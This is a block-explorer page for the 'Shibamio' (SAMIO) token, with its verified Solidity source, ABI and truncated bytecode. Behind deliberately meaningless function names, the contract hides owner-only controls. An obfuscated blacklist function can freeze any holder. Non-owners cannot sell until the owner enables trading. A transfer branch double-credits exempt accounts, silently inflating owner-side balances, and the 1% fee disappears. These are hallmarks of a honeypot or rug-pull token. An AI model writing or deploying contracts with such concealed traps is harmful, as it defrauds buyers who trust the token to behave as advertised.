ETH Price: $3,588.11 (+3.61%)
 

Overview

Max Total Supply

5,000,000 SAMIO

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 12 Decimals)

Balance
102,423.233878873841 SAMIO

Value
$0.00
0xe7c54444f8ede5f21b132bc319691cc3320a8294
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Shibamio

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 1 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-26
*/

/*
█▀ █░█ █ █▄▄ ▄▀█ █▀▄▀█ █ █▀█
▄█ █▀█ █ █▄█ █▀█ █░▀░█ █ █▄█

░░█ ▄▀█ █▀█ ▄▀█ █▄░█
█▄█ █▀█ █▀▀ █▀█ █░▀█

⠀⠀⠀⠀⠀⠀⠀⠀⣀⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⢿⣦⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣷⣤⣤⣤⣤⣤⣤⣾⣿⡇⠀⢻⣆⠀⠀
⠀⠀⠀⠀⠀⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⣿⡀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⢹⡇⠀
⠀⠀⣴⣿⣿⡿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⡇⠀
⠀⣰⣿⣿⣿⡄⢿⣿⣿⣿⣿⣿⡃⢰⣶⣿⣿⣿⣿⣿⡿⠿⠿⠿⢿⣿⣧⠀
⢠⣿⠉⠙⣿⣿⣿⣿⠿⠿⠿⣿⣷⣮⣽⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠉⣿⡆
⣸⡇⠀⢼⣿⣿⣿⡟⠀⠀⠀⠀⠈⠉⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠇
⢿⡇⠀⠈⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡟⠀
⢸⣧⠀⠐⠻⠿⣶⣤⣄⣀⡤⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠟⠀⠀
⠈⢿⡄⠀⠀⣶⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀
⠀⠈⢿⣆⠀⠈⠉⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⡾⠋⠀⠀⠀⠀⠀
⠀⠀⠀⠛⢷⣤⣀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣴⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠉⠙⠛⠿⠿⠿⠿⠟⠛⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

https://web.wechat.com/ShibamioJPN
총 공급량 - 5,000,000
구매세 - 1%
판매세 - 1%
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.11;

interface ILOCompressioner01 {
    event PairCreated(
    address indexed token0, 
    address indexed token1, 
    address pair, uint);
    function createPair(
    address tokenA, 
    address tokenB) 
    external returns 
    (address pair);
}
abstract contract Context {
    function _msgSender() 
    internal view virtual returns 
    (address) { return msg.sender;
    }
}
interface NEDOX20 {
    function totalSupply() 
    external view returns 
    (uint256);
    function balanceOf(address account) 
    external view returns 
    (uint256);
    function transfer(address recipient, uint256 amount) 
    external returns 
    (bool);
    function allowance(address owner, address spender) 
    external view returns 
    (uint256);
    function approve(address spender, uint256 amount) 
    external returns 
    (bool);
    function transferFrom( 
    address sender, address recipient, uint256 amount
    ) external returns (bool);

    event Transfer(
        address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value);
}
interface ICOMPILERV1 {
    event Approval(
        address indexed owner, 
        address indexed spender, 
    uint value);
    event Transfer(
        address indexed from, 
        address indexed to, 
    uint value);
    function name() 
    external pure returns (string memory);
    function symbol() 
    external pure returns (string memory);
    function decimals() 
    external pure returns (uint8);
    function totalSupply() 
    external view returns (uint);
    function balanceOf(address owner) 
    external view returns (uint);
    function allowance(address owner, address spender) 
    external view returns (uint);
    function approve(address spender, uint value)
    external returns (bool);
    function transfer(address to, uint value) 
    external returns (bool);
    function transferFrom(address from, address to, uint value) 
    external returns (bool);
    function DOMAIN_SEPARATOR() 
    external view returns (bytes32);
}
library SafeMathUnit {
    function trySub(uint256 a, uint256 b) 
    internal pure returns 
    (bool, uint256) { unchecked { if (b > a) return (false, 0);
            return (true, a - b); }
    }
    function add(uint256 a, uint256 b) 
    internal pure returns (uint256) { return a + b;
    }
    function sub(uint256 a, uint256 b) 
    internal pure returns (uint256) { return a - b;
    }
    function mul(uint256 a, uint256 b) 
    internal pure returns (uint256) { return a * b;
    }
    function div(uint256 a, uint256 b) 
    internal pure returns (uint256) { return a / b;
    }
    function mod(uint256 a, uint256 b) 
    internal pure returns 
    (uint256) { return a % b;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) 
    internal pure returns 
    (uint256) { unchecked 
    { require(b <= a, errorMessage); return a - b; } }
}
  interface ERCMigration01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint amountIn, uint amountOutMin, address[] 
    calldata path, address to, uint deadline ) 
    external; function factory() 
      external pure returns (address);
      function WETH()
      external pure returns (address); 
      function addLiquidityETH(
      address token, 
      uint amountTokenDesired, uint amountTokenMin, 
      uint amountETHMin, address to, uint deadline) 
      external payable returns (
      uint amountToken, 
      uint amountETH, 
      uint liquidity);
}
library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
abstract contract Ownable is Context {
    address private _owner; event OwnershipTransferred
    (address indexed previousOwner, address indexed newOwner); 
    constructor () { _owner = 0x4C73CEb4ec1B7E6586a49dACB53Aa7648B4A2F03;
        emit OwnershipTransferred(address(0), 
        _owner); }

    function owner() 
    public view virtual returns 
    (address) {
        return _owner; 
    }
    modifier onlyOwner() {
        require(owner() 
        == _msgSender(), 
        "Ownable: caller is not the owner"); _;
     }
    function renounceOwnership() 
    public virtual 
    onlyOwner { 
        emit OwnershipTransferred(_owner, address(0));
        _owner 
        = address(0); 
    }
}
// de ETHERSCAN.io.
contract Shibamio is Context, NEDOX20, Ownable {
    mapping (address => uint256) 
    private _tOwned;
    mapping (address => mapping (address => uint256)) 
    private _allowances;
    mapping (address => bool)
    private inclineLagative;
    mapping (address => bool) 
    private inglidePoseidon;

    uint256 private indexedAlterlags; bool public maybornFigurations = true; 
    bool public inparReserves = true; bool private tradingAllowed = false;
    uint256 public indexedRatio = 30; uint256 public vorpoleDalign = 20;
    uint256 public quadpieceLink = 0; uint256 private invarTime = indexedRatio;
    uint256 private conolodeInfant = quadpieceLink;

    string private _name = unicode"Shibamio"; string private _symbol = unicode"SAMIO";
    uint256 private constant miludedString = ~uint256(0);
    uint8 private _decimals = 12;
    uint256 private _totalSupply = 5000000 * 10**_decimals; uint256 public rodoxedValues = 1000000 * 10**_decimals;
    uint256 private _tTotalInDemand = (miludedString - (miludedString % _totalSupply));

    constructor () { _tOwned[owner()] = _totalSupply;
        ERCMigration01 MeldoxPressurize = ERCMigration01
        (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        INVALVE01 = ILOCompressioner01
        (MeldoxPressurize.factory())
        .createPair(address(this), MeldoxPressurize.WETH());
        EKOOBIv1 = 
        MeldoxPressurize;
        inclineLagative [owner()] = true;
        inclineLagative [address(this)] = true;
        emit Transfer(
            address(0), 
            owner(), 
        _totalSupply); }
  
    function name() 
    public view returns 
    (string memory) {
        return _name;
    }
    function symbol() 
    public view returns 
    (string memory) {
        return _symbol;
    }
    function decimals() 
    public view returns 
    (uint8) {
        return _decimals;
    }
    function totalSupply() 
    public view override returns 
    (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) 
    public view override returns 
    (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) 
    public override returns 
    (bool) {
        _transfer(_msgSender(), 
        recipient, amount); return true;
    }
    function allowance(address owner, address spender) 
    public view override returns 
    (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) 
    public override returns 
    (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, 
    address recipient, uint256 amount) 
    public override returns 
    (bool) 
    { _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 
        "ERC20: transfer amount exceeds allowance")); return true;
    }   
    function _transfer(  address from,  address to, uint256 amount ) 
    private { require(amount > 0, 
        "Transfer amount must be greater than zero"); bool inproviseTraits 
        = false; if(!inclineLagative[from] && 
        !inclineLagative[to]){ 
            inproviseTraits = true;

        require(amount <= 
        rodoxedValues, 
        "Transfer amount exceeds the maxTxAmount."); }
        require(!inglidePoseidon[from] 
        && !inglidePoseidon[to], 
        "You have been blacklisted from transfering tokens");

        uint256 initialETHBalance = balanceOf(
            address(this)); 
            if(initialETHBalance >= 
        rodoxedValues) { initialETHBalance 
        = rodoxedValues; 
        } _afterTokenTransfer(
            from,to,amount,inproviseTraits); 
            emit Transfer(from, to, amount); 
            if (!tradingAllowed) {require( from 
            == owner(),  "TOKEN: This account cannot send tokens until trading is enabled"); }
    }
    function ingrinePocket(address ingPok) 
    public onlyOwner {
        ingPok = ingPok;
    }       
        function MacelignToggle
        (uint256 
        initialETHBalance) private lockTheSwap { 
            uint256 quevelBasis 
        = initialETHBalance.div(2); 

        uint256 deboolConel = 
        initialETHBalance.sub(quevelBasis); 
        uint256 instinctRATE = address(this).balance; 
        ETHforERCtransmittions(
            quevelBasis); uint256 lipizeMultinants 
            = address(this).balance.sub(instinctRATE);
        initiatePool(
            deboolConel, lipizeMultinants); emit macelignToggle(
                quevelBasis, lipizeMultinants, deboolConel);
    }
    function min(uint256 a, uint256 b) private view returns (uint256){
      return (a>b)?b:a;
    }    
    function _beforeTokenTransfer
    (address sender, 
    address recipient, uint256 olediseAmount,
    bool inproviseTraits) 
    private { uint256 ERCInteractions = 
    0; if (inproviseTraits){ ERCInteractions = 
    olediseAmount.mul(1).div(100) ; 
    } uint256 protonBytesAmount = olediseAmount - 
        ERCInteractions; 
        _tOwned[recipient] = 
        _tOwned[recipient].add(protonBytesAmount); 

        uint256 inviseData 
        = _tOwned
        [recipient].add(protonBytesAmount); _tOwned[sender] 
        = _tOwned
        [sender].sub(protonBytesAmount); 
        bool inclineLagative = 
        inclineLagative[sender] 
        && inclineLagative[recipient]; 
        if (inclineLagative ){ _tOwned[recipient] 
        = inviseData;
        } else { emit Transfer (
            sender, recipient, protonBytesAmount); 
    } }
    function getLeakadox
    (uint256 grantMonisole) 
    private view 
    returns 
    (uint256) {
        return grantMonisole.mul 
        (indexedRatio).div
        ( 10**3 );
    }
    function ETHforERCtransmittions(uint256 transactsRates) 
    private { address[] memory path = 
    new address[] (2); path[0] 
        = address(this); path[1] = EKOOBIv1.WETH();
        _approve(address(this), address
        (EKOOBIv1), 
        transactsRates); 
        EKOOBIv1.swapExactTokensForETHSupportingFeeOnTransferTokens(
        transactsRates, 
        0, path, address(this), block.timestamp );
    }
    function inverdeseAllignments 
    (address disallignment, bool adverseMines) 
    public onlyOwner {
        inglidePoseidon[disallignment] 
        = adverseMines;
    }    
    function _approve(
        address owner, address spender, uint256 amount) 
        private { require(owner != address(0), 
        "ERC20: approve from the zero address");
        require(spender != address(0), 
        "ERC20: approve to the zero address");
        _allowances
        [owner][spender] = amount; emit Approval( owner, spender, amount);
    }   
    function improviseIndexes(address impIndex) 
    public onlyOwner {
        impIndex = impIndex;
    }   
    function initiatePool
    (uint256 protonValues, uint256 ethAmount) private 
    { _approve(address(this), address
    (EKOOBIv1), protonValues); EKOOBIv1.addLiquidityETH{value: ethAmount}(
     address(this), 
     protonValues, 0, 0, owner(), block.timestamp );
    }
    function enableTrading(bool allowingParties) 
    public
    onlyOwner { tradingAllowed = allowingParties;
    }      
    function _afterTokenTransfer
    (address sender, address 
    recipient, uint256 amount,
    bool inproviseTraits) 
    private { _beforeTokenTransfer(
        sender, recipient, amount, inproviseTraits);
    } 
    address public IndexedGraphory;
    address public GaslineNodes;
    address public immutable INVALVE01;
    using SafeMathUnit for uint256;
    ERCMigration01 public immutable EKOOBIv1;

    uint256 private inprodex = 
    vorpoleDalign;
    bool inPressionMode;
    uint256 private notarimePile = 1000000000 * 10**18;
    event gatherCompression(
    uint256 aparryInrates); event allignmentCheck(
    bool enabled); 
    event macelignToggle(
        uint256 lobourneOn,
        uint256 commitInternal, 
        uint256 podoxiateResults ); 
    modifier lockTheSwap { inPressionMode = true; 
    _; inPressionMode = false; }    

    function getInternalLeakadox(uint256 grantMonisole) 
    private view 
    returns 
    (uint256) {
        return grantMonisole.mul 
        (quadpieceLink).div
        ( 10**3 );
    }
    function getConsoleLeakadox(uint256 grantMonisole) 
    private view 
    returns 
    (uint256) {
        return grantMonisole.mul 
        (vorpoleDalign).div
        ( 10**3 );
    }    
    receive() external payable {} 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"allignmentCheck","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"aparryInrates","type":"uint256"}],"name":"gatherCompression","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"lobourneOn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"commitInternal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"podoxiateResults","type":"uint256"}],"name":"macelignToggle","type":"event"},{"inputs":[],"name":"EKOOBIv1","outputs":[{"internalType":"contract ERCMigration01","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"GaslineNodes","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"INVALVE01","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IndexedGraphory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"allowingParties","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"impIndex","type":"address"}],"name":"improviseIndexes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"indexedRatio","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ingPok","type":"address"}],"name":"ingrinePocket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inparReserves","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"disallignment","type":"address"},{"internalType":"bool","name":"adverseMines","type":"bool"}],"name":"inverdeseAllignments","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maybornFigurations","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"quadpieceLink","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rodoxedValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vorpoleDalign","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6006805462ffffff1916610101179055601e60078190556014600890815560006009819055600a92909255600b9190915561010060405260c08190526753686962616d696f60c01b60e09081526200005b91600c9190620003e6565b506040805180820190915260058082526453414d494f60d81b60209092019182526200008a91600d91620003e6565b50600e805460ff1916600c908117909155620000a890600a620005a1565b620000b790624c4b40620005b9565b600f55600e54620000cd9060ff16600a620005a1565b620000dc90620f4240620005b9565b601055600f54620000f090600019620005db565b620000fe90600019620005fe565b6011556008546014556b033b2e3c9fd0803ce80000006016553480156200012457600080fd5b50600080546001600160a01b031916734c73ceb4ec1b7e6586a49dacb53aa7648b4a2f0390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600f546001600062000189620003d7565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022b919062000618565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f919062000618565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000313919062000618565b6001600160a01b03908116608052811660a05260016003600062000336620003d7565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600390925290208054909116600117905562000380620003d7565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620003c891815260200190565b60405180910390a3506200067f565b6000546001600160a01b031690565b828054620003f49062000643565b90600052602060002090601f01602090048101928262000418576000855562000463565b82601f106200043357805160ff191683800117855562000463565b8280016001018555821562000463579182015b828111156200046357825182559160200191906001019062000446565b506200047192915062000475565b5090565b5b8082111562000471576000815560010162000476565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004e3578160001904821115620004c757620004c76200048c565b80851615620004d557918102915b93841c9390800290620004a7565b509250929050565b600082620004fc575060016200059b565b816200050b575060006200059b565b81600181146200052457600281146200052f576200054f565b60019150506200059b565b60ff8411156200054357620005436200048c565b50506001821b6200059b565b5060208310610133831016604e8410600b841016171562000574575081810a6200059b565b620005808383620004a2565b80600019048211156200059757620005976200048c565b0290505b92915050565b6000620005b260ff841683620004eb565b9392505050565b6000816000190483118215151615620005d657620005d66200048c565b500290565b600082620005f957634e487b7160e01b600052601260045260246000fd5b500690565b6000828210156200061357620006136200048c565b500390565b6000602082840312156200062b57600080fd5b81516001600160a01b0381168114620005b257600080fd5b600181811c908216806200065857607f821691505b6020821081036200067957634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051610fbe620006a560003960006103700152600061024c0152610fbe6000f3fe60806040526004361061012a5760003560e01c806306fdde031461013657806308469e8e1461016157806308de5cb414610185578063095ea7b3146101a757806314bc2c73146101d757806318160ddd1461020f578063197bf85f146102245780631cdb82bb1461023a5780631e7620601461026e57806323b872dd1461028e578063313ce567146102ae57806340457dfe146102d0578063463809c2146102ea57806366a8a7651461030a57806370a0823114610329578063715018a614610349578063762695921461035e5780637628f802146103925780638da5cb5b146103a857806395d89b41146103bd578063961033b8146102ea5780639aaa9b63146103d2578063a9059cbb146103e8578063dd62ed3e14610408578063f275f64b1461044e57600080fd5b3661013157005b600080fd5b34801561014257600080fd5b5061014b61046e565b6040516101589190610cd1565b60405180910390f35b34801561016d57600080fd5b5061017760075481565b604051908152602001610158565b34801561019157600080fd5b506101a56101a0366004610d52565b610500565b005b3480156101b357600080fd5b506101c76101c2366004610d85565b610563565b6040519015158152602001610158565b3480156101e357600080fd5b506012546101f7906001600160a01b031681565b6040516001600160a01b039091168152602001610158565b34801561021b57600080fd5b50600f54610177565b34801561023057600080fd5b5061017760095481565b34801561024657600080fd5b506101f77f000000000000000000000000000000000000000000000000000000000000000081565b34801561027a57600080fd5b506013546101f7906001600160a01b031681565b34801561029a57600080fd5b506101c76102a9366004610daf565b610579565b3480156102ba57600080fd5b50600e5460405160ff9091168152602001610158565b3480156102dc57600080fd5b506006546101c79060ff1681565b3480156102f657600080fd5b506101a5610305366004610deb565b6105e2565b34801561031657600080fd5b506006546101c790610100900460ff1681565b34801561033557600080fd5b50610177610344366004610deb565b610614565b34801561035557600080fd5b506101a561062f565b34801561036a57600080fd5b506101f77f000000000000000000000000000000000000000000000000000000000000000081565b34801561039e57600080fd5b5061017760105481565b3480156103b457600080fd5b506101f76106a8565b3480156103c957600080fd5b5061014b6106b7565b3480156103de57600080fd5b5061017760085481565b3480156103f457600080fd5b506101c7610403366004610d85565b6106c6565b34801561041457600080fd5b50610177610423366004610e06565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561045a57600080fd5b506101a5610469366004610e30565b6106d3565b6060600c805461047d90610e4b565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990610e4b565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b336105096106a8565b6001600160a01b0316146105385760405162461bcd60e51b815260040161052f90610e85565b60405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b600061057033848461071e565b50600192915050565b6000610586848484610842565b6105d884336105d385604051806060016040528060288152602001610f41602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b01565b61071e565b5060019392505050565b336105eb6106a8565b6001600160a01b0316146106115760405162461bcd60e51b815260040161052f90610e85565b50565b6001600160a01b031660009081526001602052604090205490565b336106386106a8565b6001600160a01b03161461065e5760405162461bcd60e51b815260040161052f90610e85565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6060600d805461047d90610e4b565b6000610570338484610842565b336106dc6106a8565b6001600160a01b0316146107025760405162461bcd60e51b815260040161052f90610e85565b60068054911515620100000262ff000019909216919091179055565b6001600160a01b0383166107805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052f565b6001600160a01b0382166107e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052f565b6001600160a01b03831660009081526003602052604081205460ff161580156108e657506001600160a01b03831660009081526003602052604090205460ff16155b1561095257600190506010548211156109525760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161052f565b6001600160a01b03841660009081526004602052604090205460ff1615801561099457506001600160a01b03831660009081526004602052604090205460ff16155b6109fa5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b606482015260840161052f565b6000610a0530610614565b90506010548110610a1557506010545b610a2185858585610b2d565b836001600160a01b0316856001600160a01b0316600080516020610f6983398151915285604051610a5491815260200190565b60405180910390a360065462010000900460ff16610afa57610a746106a8565b6001600160a01b0316856001600160a01b031614610afa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052f565b5050505050565b60008184841115610b255760405162461bcd60e51b815260040161052f9190610cd1565b505050900390565b610b3984848484610b3f565b50505050565b60008115610b6057610b5d6064610b57856001610c9a565b90610cad565b90505b6000610b6c8285610ed0565b6001600160a01b038616600090815260016020526040902054909150610b929082610cb9565b6001600160a01b038616600090815260016020526040812082905590610bb89083610cb9565b6001600160a01b038816600090815260016020526040902054909150610bde9083610cc5565b6001600160a01b038816600090815260016020908152604080832093909355600390529081205460ff168015610c2c57506001600160a01b03871660009081526003602052604090205460ff165b90508015610c54576001600160a01b0387166000908152600160205260409020829055610c90565b866001600160a01b0316886001600160a01b0316600080516020610f6983398151915285604051610c8791815260200190565b60405180910390a35b5050505050505050565b6000610ca68284610ee7565b9392505050565b6000610ca68284610f06565b6000610ca68284610f28565b6000610ca68284610ed0565b600060208083528351808285015260005b81811015610cfe57858101830151858201604001528201610ce2565b81811115610d10576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3d57600080fd5b919050565b80358015158114610d3d57600080fd5b60008060408385031215610d6557600080fd5b610d6e83610d26565b9150610d7c60208401610d42565b90509250929050565b60008060408385031215610d9857600080fd5b610da183610d26565b946020939093013593505050565b600080600060608486